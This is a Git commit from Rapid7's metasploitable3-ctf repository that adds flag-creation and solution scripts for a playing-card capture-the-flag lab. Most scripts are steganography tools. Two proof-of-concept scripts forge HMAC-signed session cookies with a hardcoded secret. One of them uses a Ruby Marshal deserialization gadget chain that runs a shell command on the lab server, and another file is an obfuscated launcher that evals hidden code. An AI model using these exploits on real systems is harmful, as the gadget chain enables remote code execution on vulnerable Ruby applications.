Merge branch 'master' of github.com:rapid7/metasploitable3-ctf

This commit is contained in:
James Barnett 2017-12-15 13:33:28 -06:00
commit fafdb4b486
42 changed files with 917 additions and 0 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 382 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 382 KiB

View File

@ -0,0 +1,37 @@
# -*- coding: binary -*-
#!/usr/bin/env ruby
require 'zlib'
def load_wav(fname)
File.read(fname)
end
def find_data_chunk_offset(wav)
wav.index('data') + 1
end
def get_data_chunk_size(wav)
data_chunk_offset = find_data_chunk_offset(wav)
wav[data_chunk_offset, 4].unpack('N').first
end
def extract_data_chunk(wav)
chunk_offset = find_data_chunk_offset(wav)
chunk_size = get_data_chunk_size(wav)
wav[chunk_offset + 4 + 3, chunk_size]
end
wav_fname = ARGV.shift
output = ARGV.shift
wav = load_wav(wav_fname)
data_chunk = extract_data_chunk(wav)
data_chunk = Zlib::Inflate.inflate(data_chunk)
File.open(output, 'wb') do |f|
f.write(data_chunk)
end
puts "#{output} written"

View File

@ -0,0 +1,88 @@
# -*- coding: binary -*-
#!/usr/bin/env ruby
require 'zlib'
def load_image(fname)
data = File.read(fname)
Zlib::Deflate.deflate(data)
end
# http://www-mmsp.ece.mcgill.ca/documents/audioformats/wave/wave.html
def make_wav(data_chunk)
# 47202 test size
size = 216 + data_chunk.length
wav = ''
# WAV RIFF Header
wav << 'RIFF' # groupID
wav << [ size ].pack('V') # WAV Size
wav << 'WAVE' # Riff Type
# FORMAT CHUNK
wav << 'fmt ' # Chunk ID
wav << [ 18 ].pack('V') # Chunk Size
wav << [ 0x06 ].pack('v') # Format tag
wav << [ 0x02 ].pack('v') # Channels
wav << [ 0x1f40].pack('V') # Sample per sec
wav << [ 0x3e80 ].pack('V') # Average Bytes per sec
wav << [ 0x02 ].pack('v') # Block align
wav << [ 0x08 ].pack('v') # Bits per sample
wav << [ 0x00 ].pack('v')
# Fact Chunk
wav << 'fact' # Chunk ID
wav << [ 0x04 ].pack('V') # Chunk size
wav << [ 0x5bc5 ].pack('V') # uncompressed size
# Data chunk
wav << 'data' # Chunk ID
wav << [ data_chunk.length ].pack('V') # Chunk size
wav << data_chunk
# afsp Chunk
wav << 'afsp' # Chunk ID
wav << [ 73 ].pack('V') # Chunk size
wav << 'AFspdate: 2003-01-30 03:28:44 UTC'
wav << "\x00"
wav << 'user: kabal@CAPELLA'
wav << "\x00"
wav << 'program: CopyAudio'
wav << [ 0x00 ].pack('v')
# List chunk
wav << 'LIST' # Chunk ID
wav << [ 76 ].pack('V') # Chunk size
wav << 'INFO'
# Sub chunk: ICRD
wav << 'ICRD' # Chunk ID
wav << [ 0x18 ].pack('V') # Chunk size
wav << '2003-01-30 03:28:44 UTC' # Timestamp
wav << "\x00"
# Sub Chunk: ISFT
wav << 'ISFT' # Chunk ID
wav << [ 0x0a ].pack('V') # Chunk Size
wav << 'CopyAudio' # Value
wav << "\x00"
# Sub chunk: ICMT
wav << 'ICMT' # Chunk ID
wav << [ 0x0e ].pack('V') # Chunk Size
wav << 'kabal@CAPELLA' # Value
wav << "\x00"
wav
end
# 'jack_of_clubs.PNG'
image_fname = ARGV.shift
output = ARGV.shift
zip_image = load_image(image_fname)
wav = make_wav(zip_image)
File.open(output, 'wb') do |f|
f.write(wav)
end
puts "Imaged zipped in a wav file."
puts "Wav file written to #{output}"

Binary file not shown.

View File

@ -0,0 +1,76 @@
#!/usr/bin/env ruby
require 'base64'
# source should be PNG file
source_path = ARGV.shift
if source_path.nil? || source_path.empty? || !File.exists?(source_path)
source_path = 'source.png'
puts "* No argument provided. Using #{source_path} as the flag."
end
str = Base64.strict_encode64(File.read(source_path))
# Because Crystal crashes when concatenating the long Base64 string one byte at a time,
# we need to make the operation small. We do this by preserving the first 99.9% of the string,
# and then we obfuscate the rest, which should be enough of a pain to reverse for
# most people.
max_size = (str.length * 0.999).to_i
puts "* First portion of the Base64 string size is: #{max_size}"
str1 = str[0, max_size]
str2 = str[max_size..-1]
puts "* The last #{str2.length} will be obfuscated"
obfuscated_str = str2.split('').map { |c| %Q|"#{c}"| } * " + "
crystal_code = %Q|
# This file needs to be compiled into a binary using 'crystal build flag.rb' on a
# x86/64 Ubuntu machine.
#
# The resulting binary will be what is added to the system.
# It is intended to be accessed after initiating the correct port knocking sequence.
#
# To run: ./flag1 -p <port>
# Defaults to 8989 if no port specified.
require "http/server"
require "option_parser"
require "base64"
flag = "#{str1}" + #{obfuscated_str}
port = 8989
OptionParser.parse! do \|parser\|
parser.banner = "Usage: flag_server [arguments]"
parser.on("-p", "--port=PORT", "Use a custom port. Default is 8989.") { \|p\| port = p.to_i }
parser.on("-h", "--help", "Show this help.") { puts parser }
end
server = HTTP::Server.new("0.0.0.0", port) do \|context\|
context.response.content_type = "image/png"
context.response.print Base64.decode_string("\#{flag}")
end
puts "Listening on http://0.0.0.0:\#{port}"
server.listen|
puts "* This is the Crystal code you are about to compile:"
puts
puts crystal_code
puts
CRYSTALFNAME = '/tmp/five_of_diamonds.cr'
CRYSTALOUTPUT = 'five_of_diamonds'
File.open(CRYSTALFNAME, 'wb') { |f| f.write(crystal_code) }
puts "* Compiling code, please wait..."
`crystal build --no-debug #{CRYSTALFNAME}`
unless File.exists?(CRYSTALOUTPUT)
puts "[x] Crystal failed to build our code"
exit
end
puts "* Crystal built: #{CRYSTALOUTPUT}"
print '* '
puts `file #{CRYSTALOUTPUT}`

Binary file not shown.

After

Width:  |  Height:  |  Size: 407 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 497 KiB

View File

@ -0,0 +1,18 @@
#!/usr/bin/env ruby
require 'chunky_png'
require 'base64'
img_fname = ARGV.shift
if img_fname.nil? || img_fname.empty?
puts "[*] Please provide a PNG file"
exit
end
puts "[*] Extracting 5 of Hearts from #{img_fname}..."
img = ChunkyPNG::Image.from_file(img_fname)
five_of_hearts = Base64::strict_decode64(img.metadata['5_of_hearts'])
File.open('real_5_of_hearts.png', 'wb') { |f| f.write(five_of_hearts) }
puts "[*] Done."

Binary file not shown.

After

Width:  |  Height:  |  Size: 44 KiB

View File

@ -0,0 +1,15 @@
#!/usr/bin/env ruby
require 'chunky_png'
require 'base64'
FAKEPNG = 'fake.png'
SOURCEPNG = 'source.png'
OUTPNG = '5_of_hearts.png'
puts "[*] Injecting 5 of Hearts data into #{FAKEPNG}..."
source = File.read(SOURCEPNG)
b64 = Base64.strict_encode64(source)
img = ChunkyPNG::Image.from_file(FAKEPNG)
img.metadata['5_of_hearts'] = b64
img.save(OUTPNG)

Binary file not shown.

After

Width:  |  Height:  |  Size: 456 KiB

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,29 @@
# -*- coding: binary -*-
#
# This will check our vulnerable app to see if it's vulnerable or not.
# It does so by predicting the hash in the cookie.
#
require 'openssl'
require 'cgi'
require 'net/http'
require 'base64'
SECRET = "a7aebc287bba0ee4e64f947415a94e5f"
cli = Net::HTTP.new('172.28.128.3', 8181)
req = Net::HTTP::Get.new('/')
res = cli.request(req)
cookie = res['Set-Cookie'].scan(/_metasploitable=(.+); path/).flatten.first || ''
data, hash = cookie.split('--')
obj = Marshal.load(Base64.decode64(CGI.unescape(data)))
puts "[*] Found data: #{obj}"
puts "[*] Found hash: #{hash}"
puts "[*] Attempting to recreate the same hash with secret: #{SECRET}"
expected_hash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, CGI.unescape(data))
puts "[*] Predicted hash: #{expected_hash}"
if expected_hash == hash
puts "[*] Yay! we can predict the hash. The server is vulnerable."
end

View File

@ -0,0 +1,48 @@
#!/usr/bin/env ruby
#
# This PoC will inject Ruby code in our vulnerable app.
# It will run the system command "id", and save the output in /tmp/your_id.txt
#
require 'openssl'
require 'cgi'
require 'net/http'
require 'base64'
require 'digest'
SECRET = "a7aebc287bba0ee4e64f947415a94e5f"
http = Net::HTTP.new('172.28.128.3', 8181)
req = Net::HTTP::Get.new('/')
res = http.request(req)
cookie = res['Set-Cookie'].scan(/_metasploitable=(.+); path/).flatten.first || ''
data, hash = cookie.split('--')
obj = Marshal.load(Base64.decode64(CGI.unescape(data)))
sid = obj['session_id']
puts "[*] Obtained session ID: #{sid}"
puts "[*] Using stolen SECRET: #{SECRET}"
puts "[*] Modifying _metasploitable cookie to 'six of clubs'"
data = { 'session_id' => sid, '_metasploitable' => "six of clubs" }
dump = [ Marshal.dump(data) ].pack('m')
hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, dump)
cookie = "_metasploitable=#{CGI.escape("#{dump}--#{hmac}")}"
req = Net::HTTP::Get.new('/flag')
req['Cookie'] = cookie
res = http.request(req)
File.open('6_of_clubs.png', 'wb') { |f| f.write(res.body) }
md5 = Digest::MD5.hexdigest(res.body)
puts "[*] 6_of_clubs.png downloaded."
puts "[*] 6 of Clubs MD5: #{md5}"
=begin
$ ruby get_flag.rb
[*] Obtained session ID: e3d1958384f27cc5f16424f060c480ff28048ebd4bff3f338d00f045ff308752
[*] Using stolen SECRET: a7aebc287bba0ee4e64f947415a94e5f
[*] Modifying _metasploitable cookie to 'six of clubs'
[*] 6_of_clubs.png downloaded.
[*] 6 of Clubs MD5: d9247a49d132a4f92dcc813f63eb1c8b
=end

View File

@ -0,0 +1,34 @@
#!/usr/bin/env ruby
#
# This PoC will inject Ruby code in our vulnerable app.
# It will run the system command "id", and save the output in /tmp/your_id.txt
#
require 'openssl'
require 'cgi'
require 'net/http'
SECRET = "a7aebc287bba0ee4e64f947415a94e5f"
module Erubis;class Eruby;end;end
module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end
erubis = Erubis::Eruby.allocate
erubis.instance_variable_set :@src, "%x(id > /tmp/your_id.txt); 1"
proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
proxy.instance_variable_set :@instance, erubis
proxy.instance_variable_set :@method, :result
proxy.instance_variable_set :@var, "@result"
session = { 'session_id' => '', 'exploit' => proxy }
dump = [ Marshal.dump(session) ].pack('m')
hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, dump)
cookie = "_metasploitable=#{CGI.escape("#{dump}--#{hmac}")}"
http = Net::HTTP.new('127.0.0.1', 8181)
req = Net::HTTP::Get.new('/')
req['Cookie'] = cookie
res = http.request(req)
puts "Done"

Binary file not shown.

File diff suppressed because one or more lines are too long

Binary file not shown.

After

Width:  |  Height:  |  Size: 419 KiB

View File

@ -0,0 +1,33 @@
# Crystal version: 0.22.0
require "Digest/MD5"
# Crystal version 0.23.1
# require "digest/md5"
Process.run("cd /opt/sinatra && bundle install", shell: true)
yum_yum = "s" + "i" + "n" + "a" + "t" + "r" + "a"
yuck_yuck = "b" + "a" + "n" + "a" + "n" + "a"
var_code = "c" + "r"
var_obf = "o" + "b" + "f" + "u" + "s" + "c" + "a" + "t" + "e"
var_server = "." + "s" + "e" + "r" + "v" + "e"+ "r"
var_passwd = "/" + "e" + "t" + "c" + "/" + "p" + "a" + "s" + "s" + "w" + "d"
var_hash_match = "e" + "4" + "b" + "7" + "c" + "5" + "8" + "f" + "d" + "c" + "7" + "b" + "b" + "a" + "7" + "7" + "2" + "1" + "2" + "4" + "2" + "a" + "7" + "5" + "e" + "d" + "3" + "4" + "1" + "7" + "8" + "7"
passwd_lines = ""
counter = 0
File.each_line(var_passwd) do |line|
counter += 1
if counter <= 40
passwd_lines += line + "\n"
end
end
hash = Digest::MD5.hexdigest(passwd_lines)
if hash == var_hash_match
code = %{require '#{var_obf}'; Obfuscate.setup { |c| c.salt = '#{yum_yum}'; c.mode = :string }; #{var_code} = Obfuscate.clarify(File.read('#{var_server}')); eval(#{var_code})}
else
code = %{require '#{var_obf}'; Obfuscate.setup { |c| c.salt = '#{yuck_yuck}'; c.mode = :string }; #{var_code} = Obfuscate.clarify(File.read('#{var_server}')); eval(#{var_code})}
end
Process.run("cd /opt/sinatra && ruby -e \"#{code}\"", shell: true)

View File

@ -0,0 +1,84 @@
#!/usr/bin/env ruby
require 'rqrcode'
require 'fileutils'
# Installing rmagick is weird.
# Do:
# brew install imagemagick
# brew unlink imagemagick
# brew install imagemagick@6 && brew link imagemagick@6 --force
# gem install rmagick
#
# https://stackoverflow.com/questions/39494672/rmagick-installation-cant-find-magickwand-h
require 'Rmagick'
include Magick
class SevenOfDiamonds
TEMPPATH = File.expand_path(File.join(__FILE__, '..', '.temp'))
def initialize
make_temp_folder
end
def make_temp_folder
Dir.mkdir(TEMPPATH) unless Dir.exists?(TEMPPATH)
end
def clear
FileUtils.rm_rf(TEMPPATH) if Dir.exists?(TEMPPATH)
end
def make_flag(source_image_path, out_path)
bin = File.read(source_image_path)
h = get_hex(bin)
generate_qr_codes(h)
make_gif(out_path)
end
def print_status(msg='')
puts "[*] #{msg}"
end
def get_hex(bin)
h = bin.unpack('H*').first
print_status("Hex string size: #{h.length}")
h
end
def generate_qr_codes(text)
str_length = 50
max_fname_length = (text.length / str_length).round.to_s.length
counter = 0
(0..text.length).step(str_length) do |i|
s = text[i, str_length]
if !s.nil? && !s.empty?
counter += 1
qr = RQRCode::QRCode.new(s)
File.open(File.join(TEMPPATH, "#{counter.to_s.rjust(max_fname_length, '0')}.png"), 'wb') { |f| f.write(png = qr.as_png) }
print_status("QR ##{counter} generated: #{s}")
end
end
end
def make_gif(out_path)
gif = ImageList.new(*Dir[".temp/*.png"])
gif.delay = 10
gif.write(out_path)
print_status("GIF written as: #{out_path}")
end
end
if __FILE__ == $PROGRAM_NAME
source_image_path = 'hint.png'
out_image_path = 'hint.gif'
card = SevenOfDiamonds.new
begin
card.make_flag(source_image_path, out_image_path)
ensure
card.clear
end
end

View File

@ -0,0 +1,77 @@
#!/usr/bin/env ruby
# gem install zxing
require 'zxing'
require 'fileutils'
# Installing rmagick is weird.
# Do:
# brew install imagemagick
# brew unlink imagemagick
# brew install imagemagick@6 && brew link imagemagick@6 --force
# gem install rmagick
#
# https://stackoverflow.com/questions/39494672/rmagick-installation-cant-find-magickwand-h
require 'Rmagick'
include Magick
class CardExtractor
TEMPPATH = File.expand_path(File.join(__FILE__, '..', '.temp'))
def initialize(gif_path)
make_temp_folder
@frames = Image.read(gif_path)
end
def print_status(msg='')
puts "[*] #{msg}"
end
def make_temp_folder
Dir.mkdir(TEMPPATH) unless Dir.exists?(TEMPPATH)
end
def clear
FileUtils.rm_rf(TEMPPATH) if Dir.exists?(TEMPPATH)
end
def extract
s = ''
print_status("Extracting #{@frames.length} frames...")
count = 0
@frames.each do |frame|
count += 1
path = File.join(TEMPPATH, "qr#{count}.png")
frame.write(path)
qr = convert_qr_to_text(path).strip
print_status("Decoded #{File.basename(path)}: #{qr}")
s << qr if qr && !qr.empty?
end
File.open('your_zip_hint.png', 'wb') { |f| f.write([s].pack('H*')) }
end
def convert_qr_to_text(path)
ZXing.decode(path)
end
end
def main
gif_path = ARGV.shift
if gif_path.nil? || gif_path.empty?
puts "[x] Please specify a source GIF file"
return
end
ext = CardExtractor.new(gif_path)
begin
ext.extract
ensure
ext.clear
end
end
if __FILE__ == $PROGRAM_NAME
main
end

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.7 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 452 KiB

View File

@ -0,0 +1,26 @@
#!/usr/bin/env ruby
# gem install rubyzip
require 'zip'
SOURCEPNG = 'source.png'
CARDNAME = '7_of_diamonds.png'
ZIP_NAME = '7_of_diamonds.zip'
password = ARGV.shift
if password.nil? || password.empty?
puts "[x] Please set a password for the zip file you're trying to create"
exit
end
data = File.read(SOURCEPNG)
zip = Zip::OutputStream.write_buffer(::StringIO.new(''), Zip::TraditionalEncrypter.new(password)) do |o|
o.put_next_entry(CARDNAME)
o.write data
end
File.open(ZIP_NAME, 'wb') do |f|
f.write(zip.string)
end
puts "[*] #{ZIP_NAME} created with password: #{password}"

Binary file not shown.

After

Width:  |  Height:  |  Size: 403 KiB

View File

@ -0,0 +1,26 @@
#!/usr/bin/env ruby
# gem install rubyzip
require 'zip'
SOURCEPNG = 'source.png'
CARDNAME = '8_of_hearts.png'
ZIP_NAME = '8_of_hearts.zip'
password = ARGV.shift
if password.nil? || password.empty?
puts "[x] Please set a password for the zip file you're trying to create"
exit
end
data = File.read(SOURCEPNG)
zip = Zip::OutputStream.write_buffer(::StringIO.new(''), Zip::TraditionalEncrypter.new(password)) do |o|
o.put_next_entry(CARDNAME)
o.write data
end
File.open(ZIP_NAME, 'wb') do |f|
f.write(zip.string)
end
puts "[*] #{ZIP_NAME} created with password: #{password}"

File diff suppressed because one or more lines are too long

Binary file not shown.

Binary file not shown.

After

Width:  |  Height:  |  Size: 458 KiB

View File

@ -0,0 +1,25 @@
require 'chunky_png'
include ChunkyPNG::Color
# https://gist.github.com/jeffkreeftmeijer/923084
module ChunkyPNG::Color
def invert(value)
rgb(MAX - r(value), MAX - g(value), MAX - b(value))
end
end
source = ARGV.shift
dest = ARGV.shift
# joker-black.png
img = ChunkyPNG::Image.from_file(source)
img.pixels.map! do |p|
if ChunkyPNG::Color.fully_transparent?(p)
p
else
ChunkyPNG::Color.invert(p)
end
end
img.save(dest)

Binary file not shown.

After

Width:  |  Height:  |  Size: 459 KiB

View File

@ -0,0 +1 @@
5c70e13495405b781e6f231d827a565a

Binary file not shown.

After

Width:  |  Height:  |  Size: 481 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 147 KiB

File diff suppressed because one or more lines are too long

Binary file not shown.

After

Width:  |  Height:  |  Size: 505 KiB

View File

@ -0,0 +1,249 @@
#!/usr/bin/env ruby
# This tool is built to create the King of Spades flag, which is placed in a motd file on IRC.
#
# Because IRC has a max size limit of roughly 200kb for MOTD, we need to do some
# modifications to the images, such as resizing, changing the quality, and optimizing to
# keep them under that limit.
# To use image_optimizer, first you need to do this:
# $ brew install optipng jpegoptim gifsicle pngquant
require 'image_optimizer'
require 'fileutils'
require 'zip'
require 'base64'
require 'digest'
require 'mini_magick'
require 'chunky_png'
include ChunkyPNG::Color
FLAGNAME = 'flag.png' # The flag name, which should be used in the CTF
B64NAME = 'flag_base64.txt' # The file name of the Base64 string
CARDNAME = 'king_of_spades.png' # The name of the card is the secret ZIP.
WORKFOLDER = 'temp' # A temp folder for processing the images
RESOURCES = ['fake.png', 'king_of_spades.png'] # The source images we want to use
# There is some trial-and-errors involved to determine these two numbers.
# Changing the quality tends to have a bigger size change.
JPGQUALITY = '10'
REIZEPERT = 0.18
# Resizes the image by reducing a specific percentage.
# The percentage to reduce is set by the RESIZEPERT constant.
def resize_image(img_path)
img = MiniMagick::Image.open(img_path)
print_status("Original #{img_path} dimension = #{img.height}x#{img.width}")
new_width = img.width - (img.width * REIZEPERT).to_i
new_height = img.height - (img.height * REIZEPERT).to_i
img = img.resize("#{new_width}x#{new_height}")
print_status("Resized #{img_path} dimension = #{img.height}x#{img.width}")
img.write(img_path)
end
# Converts a PNG to JPG.
# The purpose of this is really to lower the quality of the image, which will dramatically
# reduce the size of the image.
def convert_png_to_jpg(img_path)
print_status("Converting #{img_path} to JPG to reduce image quality to #{JPGQUALITY}")
basename = File.basename(img_path, '.png')
img = MiniMagick::Image.open(img_path)
img.format('JPEG')
img.quality(JPGQUALITY)
dst = "#{WORKFOLDER}/#{basename}.jpg"
img.write(dst)
dst
end
# Converts a JPG back to PNG.
def convert_jpg_to_png(img_path)
print_status("Converting #{img_path} back to PNG")
basename = File.basename(img_path, '.jpg')
img = MiniMagick::Image.open(img_path)
img.format('PNG')
dst = "#{WORKFOLDER}/#{basename}.png"
img.write(dst)
dst
end
# Collects the transparent pixel indexes from PNG.
# The purpose of this is because after converting an image to JPG, we lose transparency.
# So before converting to JPG, we need to keep track of where the transparent pixels are,
# and then when we can finally convert these JPGs back to PNGs again, we will need to
# restore these pixels.
def map_transparent_pixels(img_path)
print_status("Mapping transparent pixels for #{img_path}")
img = ChunkyPNG::Image.from_file(img_path)
found_indexes = []
index = 0
img.pixels.each do |p|
found_indexes << index if ChunkyPNG::Color.fully_transparent?(p)
index += 1
end
found_indexes
end
# Optimizes a PNG file.
# There is some voodoo invovled in this optimizer to make a PNG smaller without
# losing quality that our eyes can see.
# @see https://github.com/jtescher/image_optimizer
def optimize(image_path)
print_status("Optimizing #{image_path}, this may take a while...")
ImageOptimizer.new(image_path, quiet: true).optimize
end
# Restores the transparent pixels for a PNG file based on a map.
def restore_transparency(img_path, transparency_map)
print_status("Restoring transparency for #{img_path}")
img = ChunkyPNG::Image.from_file(img_path)
transparency_map.each do |i|
img.pixels[i] = ChunkyPNG::Color::TRANSPARENT
end
img.save(img_path)
end
# Zip a file
def zip_file(fname)
png = File.read(fname)
zip = Zip::OutputStream.write_buffer(::StringIO.new('')) do |o|
o.put_next_entry(CARDNAME)
o.write(png)
end
dst = "#{fname}.zip"
File.write(dst, zip.string)
dst
end
# Creates a Base64 file for a PNG
def make_base64_file(fname)
b64 = Base64.strict_encode64(File.read(fname))
File.write(B64NAME, b64)
B64NAME
end
# Creates a fake PNG that actually functions like a ZIP file. Once is ZIP file is decompressed,
# there is actually another PNG in it (which in our case, is the flag).
def finalize_king_of_spades(fake_card_path, king_of_spades_path)
print_status("Creating flag as #{FLAGNAME}")
zip = zip_file(king_of_spades_path)
print_status("King of Spades compressed as: #{zip}")
`cat #{fake_card_path} #{zip} > #{FLAGNAME}`
FLAGNAME
end
# Initializes our image workspace
def make_work_folder_if_empty
unless Dir.exists?(WORKFOLDER)
FileUtils.mkdir_p(WORKFOLDER)
print_status("Workspace \"#{WORKFOLDER}\" created")
end
end
# Removes the workspace at the end of the script
def cleanup
if Dir.exists?(WORKFOLDER)
FileUtils.remove_dir(WORKFOLDER)
print_status("Workspace \"#{WORKFOLDER}\" deleted.")
end
end
# Returns the file size
def get_file_size(img_path)
File.size(img_path)
end
def print_status(msg='')
puts "* #{msg}"
end
def init_workspace
make_work_folder_if_empty
FileUtils.copy(RESOURCES.first, WORKFOLDER)
FileUtils.copy(RESOURCES.last, WORKFOLDER)
@fake_card_path = "#{WORKFOLDER}/#{RESOURCES.first}"
@king_of_spades_path = "#{WORKFOLDER}/#{RESOURCES.last}"
end
# Returns the MD5 string of a file
def get_md5(fname)
Digest::MD5.hexdigest(File.read(fname))
end
def fake_card_path
@fake_card_path
end
def king_of_spades_path
@king_of_spades_path
end
def process_cards
resize_image(fake_card_path)
resize_image(king_of_spades_path)
fake_png_transparency_map = map_transparent_pixels(fake_card_path)
king_of_spades_transparency_map = map_transparent_pixels(king_of_spades_path)
[ fake_card_path, king_of_spades_path ].each do |card_path|
jpg_path = convert_png_to_jpg(card_path)
convert_jpg_to_png(jpg_path)
case card_path
when fake_card_path
restore_transparency(card_path, fake_png_transparency_map)
when king_of_spades_path
restore_transparency(card_path, king_of_spades_transparency_map)
end
optimize(card_path)
end
md5 = get_md5(king_of_spades_path)
print_status("Final King of Spades MD5 hash is: #{md5} (use this on the score server)")
flag_path = finalize_king_of_spades(fake_card_path, king_of_spades_path)
print_status("Flag created: #{flag_path} (Size: #{get_file_size(flag_path)} bytes)")
b64_file = make_base64_file(flag_path)
print_status("Base64 file for the flag is: #{b64_file} (Size: #{get_file_size(b64_file)} bytes)")
end
def main
init_workspace
process_cards
ensure
cleanup
end
if __FILE__ == $PROGRAM_NAME
main
end
=begin
Script output:
* Workspace "temp" created
* Original temp/fake.png dimension = 700x500
* Resized temp/fake.png dimension = 574x410
* Original temp/king_of_spades.png dimension = 700x500
* Resized temp/king_of_spades.png dimension = 574x410
* Mapping transparent pixels for temp/fake.png
* Mapping transparent pixels for temp/king_of_spades.png
* Converting temp/fake.png to JPG to reduce image quality to 10
* Converting temp/fake.jpg back to PNG
* Restoring transparency for temp/fake.png
* Optimizing temp/fake.png, this may take a while...
pngquant: unrecognized option `--speed 1'
* Converting temp/king_of_spades.png to JPG to reduce image quality to 10
* Converting temp/king_of_spades.jpg back to PNG
* Restoring transparency for temp/king_of_spades.png
* Optimizing temp/king_of_spades.png, this may take a while...
pngquant: unrecognized option `--speed 1'
* Final King of Spades MD5 hash is: 8fc453ee48180b958f98e0d2d856d1c8 (use this on the score server)
* Creating flag as flag.png
* King of Spades compressed as: temp/king_of_spades.png.zip
* Flag created: flag.png (Size: 150533 bytes)
* Base64 file for the flag is: flag_base64.txt (Size: 200712 bytes)
* Workspace "temp" deleted.
=end